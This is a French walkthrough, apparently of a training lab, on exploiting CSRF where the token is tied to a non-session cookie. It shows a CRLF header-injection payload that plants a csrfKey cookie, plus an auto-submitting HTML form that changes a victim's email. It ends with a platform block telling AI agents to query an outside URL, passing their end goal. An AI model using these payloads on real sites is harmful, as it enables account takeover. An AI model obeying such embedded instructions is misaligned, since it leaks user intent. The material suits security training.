> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/csrf-token-tied-to-non-session-cookie.md).

# CSRF avec jeton lié à un cookie mais pas à la session

### CSRF où le jeton est lié à un cookie non lié à la session

La fonctionnalité de changement d’e-mail est vulnérable au CSRF. Elle utilise des jetons, mais ils ne sont pas entièrement intégrés au mécanisme de session. Comptes fournis : `wiener:peter` et `carlos:montoya`.

### Idée clé

* Il y a un `csrfKey` cookie et un `CSRF` paramètre de requête pour le changement d’e-mail. Les deux valeurs sont « synchronisées », mais **pas lié à la session**.

<figure><img src="/files/0e358f91d3b9864d4a0b889b417d7fb5a56e743f" alt=""><figcaption></figcaption></figure>

* En copiant la paire (`csrfKey`, `CSRF`) d’un compte à un autre, on peut modifier l’e-mail d’une victime **sans** qu’il soit lié à sa session.
* Le champ de recherche enregistre la dernière recherche dans un cookie de session (`last searchTerm`).

<figure><img src="/files/57dd0c889b56c49923283f78e5529bf06543095b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0cbbc8eb4325328f48263fc83ef284390f5e4a8a" alt=""><figcaption></figcaption></figure>

#### Technique (injection CRLF via la recherche)

* On peut **injecter des en-têtes** via la recherche pour forcer le navigateur à définir un cookie arbitraire.

Une simple chaîne comme `hello csrfKey=aZCI...` n’est pas interprétée.

```
hello csrfKey=aZCI65XauInHYlpP2MXHzMAssSvvyn74
```

<figure><img src="/files/4e2c3c71dfa2274d7d2c7594007f4159ff38a68e" alt=""><figcaption></figcaption></figure>

En revanche, avec **retour chariot + saut de ligne** (`/r` = `%0d`, `/n` = `%0a`):

```
man ascii
```

<figure><img src="/files/015895f9ba4a7c633c8d76b3eb5c3ec3e86f59f8" alt=""><figcaption></figcaption></figure>

Exemple fonctionnel :

<figure><img src="/files/54882bb4696ba6318311b5e62aaa972be4d54a1c" alt=""><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=a
```

→ interprété comme un **Set-Cookie** du côté de la réponse.

<figure><img src="/files/485867aa8d29267f2ef4dce8eb73900f3bc2c582" alt=""><figcaption></figcaption></figure>

Pour un contexte intersite, spécifiez `SameSite=none` pour que le cookie accompagne la requête suivante lors de l’exploitation.

Exemple (dans la barre d’adresse/requête) :

{% code overflow="wrap" %}

```
hello%0d%0aSet-Cookie:%20csrfKey%3dGI0PraUBw0m976F6vn51dbYYzh6EtwvZ%3b%20SameSite%3dnone

hello
Set-Cookie: csrfKey=GI0PraUBw0m976F6vn51dbYYzh6EtwvZ; SameSite=none
```

{% endcode %}

### Opérateur hébergé

1. **Forcer** le `csrfKey` cookie chez la victime via une requête d’image vers la page de recherche (qui réécrit l’en-tête) :

```html
<form class="login-form" name="change-email-form" action="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/my-account/change-email" method="POST">
      <input "hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="GI0PraUBw0m976F6vn51dbYYzh6EtwvZ">
</form>

<img  src="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrfKey%3d9Okbeh77JZpcZA9ObPqnLuR95v3L40oc%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/csrf/csrf-token-tied-to-non-session-cookie.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
